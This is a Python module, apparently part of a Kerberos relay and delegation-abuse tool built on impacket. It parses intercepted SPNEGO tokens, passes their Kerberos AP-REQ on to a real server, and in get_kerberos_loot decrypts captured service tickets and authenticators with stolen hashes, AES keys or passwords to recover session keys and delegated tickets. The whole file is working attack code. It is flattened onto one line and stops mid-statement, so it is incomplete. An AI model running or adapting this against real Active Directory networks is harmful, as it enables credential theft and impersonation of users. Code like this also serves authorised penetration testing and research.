from __future__ import unicode_literals import struct import datetime import random from binascii import unhexlify, hexlify from pyasn1.type.univ import noValue from pyasn1.codec.der import decoder, encoder from pyasn1.error import PyAsn1Error from ldap3 import Server, Connection, NTLM, ALL, SASL, KERBEROS from ldap3.core.results import RESULT_STRONGER_AUTH_REQUIRED from ldap3.operation.bind import bind_operation from impacket.spnego import SPNEGO_NegTokenInit, TypesMech from impacket.krb5.gssapi import KRB5_AP_REQ, GSS_C_DELEG_FLAG from impacket.krb5.asn1 import AP_REQ, AS_REP, TGS_REQ, Authenticator, TGS_REP, seq_set, seq_set_iter, PA_FOR_USER_ENC, \ Ticket as TicketAsn1, EncTGSRepPart, EncTicketPart, AD_IF_RELEVANT, Ticket as TicketAsn1, KRB_CRED, EncKrbCredPart from impacket.krb5.crypto import Key, _enctype_table, Enctype, InvalidChecksum, string_to_key from .krbcredccache import KrbCredCCache from .spnego import GSSAPIHeader_SPNEGO_Init, GSSAPIHeader_KRB5_AP_REQ from impacket import LOG from impacket.krb5.types import Principal, KerberosTime, Ticket from impacket.krb5 import constants from impacket.krb5.kerberosv5 import getKerberosTGS from Cryptodome.Hash import HMAC, MD4 def get_auth_data(token, options): # Do we have a Krb ticket? blob = decoder.decode(token, asn1Spec=GSSAPIHeader_SPNEGO_Init())[0] data = blob['innerContextToken']['negTokenInit']['mechToken'] try: payload = decoder.decode(data, asn1Spec=GSSAPIHeader_KRB5_AP_REQ())[0] except PyAsn1Error: raise Exception('Error obtaining Kerberos data') # If so, assume all is fine and we can just pass this on to the legit server # we just need to get the correct target name apreq = payload['apReq'] # Get ticket data domain = str(apreq['ticket']['realm']).lower() # Assume this is NT_SRV_INST with 2 labels (not sure this is always the case) sname = '/'.join([str(item) for item in apreq['ticket']['sname']['name-string']]) # We dont actually know the client name, either use unknown$ or use the user specified if options.victim: username = options.victim else: username = f"unknown{random.randint(0, 10000):04d}$" return { "domain": domain, "username": username, "krbauth": token, "service": sname, "apreq": apreq } def get_kerberos_loot(token, options): from pyasn1 import debug # debug.setLogger(debug.Debug('all')) # Do we have a Krb ticket? blob = decoder.decode(token, asn1Spec=GSSAPIHeader_SPNEGO_Init())[0] # print str(blob) data = blob['innerContextToken']['negTokenInit']['mechToken'] try: payload = decoder.decode(data, asn1Spec=GSSAPIHeader_KRB5_AP_REQ())[0] except PyAsn1Error: raise Exception('Error obtaining Kerberos data') # print payload # It is an AP_REQ decodedTGS = payload['apReq'] # print decodedTGS # Get ticket data cipherText = decodedTGS['ticket']['enc-part']['cipher'] # Key Usage 2 # AS-REP Ticket and TGS-REP Ticket (includes tgs session key or # application session key), encrypted with the service key # (section 5.4.2) newCipher = _enctype_table[int(decodedTGS['ticket']['enc-part']['etype'])] # Create decryption keys from specified Kerberos keys if options.hashes is not None: nthash = options.hashes.split(':')[1] else: nthash = '' aesKey = options.aeskey or '' allciphers = [ int(constants.EncryptionTypes.rc4_hmac.value), int(constants.EncryptionTypes.aes256_cts_hmac_sha1_96.value), int(constants.EncryptionTypes.aes128_cts_hmac_sha1_96.value) ] # Store Kerberos keys # TODO: get the salt from preauth info (requires us to send AS_REQs to the DC) keys = {} if nthash != '': keys[int(constants.EncryptionTypes.rc4_hmac.value)] = unhexlify(nthash) if aesKey != '': if len(aesKey) == 64: keys[int(constants.EncryptionTypes.aes256_cts_hmac_sha1_96.value)] = unhexlify(aesKey) else: keys[int(constants.EncryptionTypes.aes128_cts_hmac_sha1_96.value)] = unhexlify(aesKey) ekeys = {} for kt, key in keys.items(): ekeys[kt] = Key(kt, key) # Calculate Kerberos keys from specified password/salt if options.password and options.salt: for cipher in allciphers: if cipher == 23 and options.israwpassword: # RC4 calculation is done manually for raw passwords md4 = MD4.new() md4.update(options.password) ekeys[cipher] = Key(cipher, md4.digest()) else: # Do conversion magic for raw passwords if options.israwpassword: rawsecret = options.password.decode('utf-16-le', 'replace').encode('utf-8', 'replace') else: # If not raw, it was specified from the command line, assume it's not UTF-16 rawsecret = options.password ekeys[cipher] = string_to_key(cipher, rawsecret, options.salt) LOG.debug('Calculated type %d Kerberos key: %s', cipher, hexlify(ekeys[cipher].contents)) # Select the correct encryption key try: key = ekeys[decodedTGS['ticket']['enc-part']['etype']] # This raises a KeyError (pun intended) if our key is not found except KeyError: LOG.error('Could not find the correct encryption key! Ticket is encrypted with keytype %d, but keytype(s) %s were supplied', decodedTGS['ticket']['enc-part']['etype'], ', '.join([str(enctype) for enctype in ekeys.keys()])) return None # Recover plaintext info from ticket try: plainText = newCipher.decrypt(key, 2, cipherText) except InvalidChecksum: LOG.error('Ciphertext integrity failed. Most likely the account password or AES key is incorrect') if options.salt: LOG.info('You specified a salt manually. Make sure it has the correct case.') return LOG.debug('Ticket decrypt OK') encTicketPart = decoder.decode(plainText, asn1Spec=EncTicketPart())[0] sessionKey = Key(encTicketPart['key']['keytype'], bytes(encTicketPart['key']['keyvalue'])) # Key Usage 11 # AP-REQ Authenticator (includes application authenticator # subkey), encrypted with the application session key # (Section 5.5.1) # print encTicketPart flags = encTicketPart['flags'].asBinary() # print flags # for flag in TicketFlags: # if flags[flag.value] == '1': # print flag # print flags[TicketFlags.ok_as_delegate.value] cipherText = decodedTGS['authenticator']['cipher'] newCipher = _enctype_table[int(decodedTGS['authenticator']['etype'])] # Recover plaintext info from authenticator plainText = newCipher.decrypt(sessionKey, 11, cipherText) authenticator = decoder.decode(plainText, asn1Spec=Authenticator())[0] # print authenticator # The checksum may contain the delegated ticket cksum = authenticator['cksum'] if cksum['cksumtype'] != 32771: raise Exception('Checksum is not KRB5 type: %d' % cksum['cksumtype']) # Checksum as in 4.1.1 [RFC4121] # Fields: # 0-3 Length of channel binding info (fixed at 16) # 4-19 channel binding info # 20-23 flags # 24-25 delegation option identifier # 26-27 length of deleg field # 28..(n-1) KRB_CRED message if deleg is used (n = length of deleg + 28) # n..last extensions flags = struct.unpack('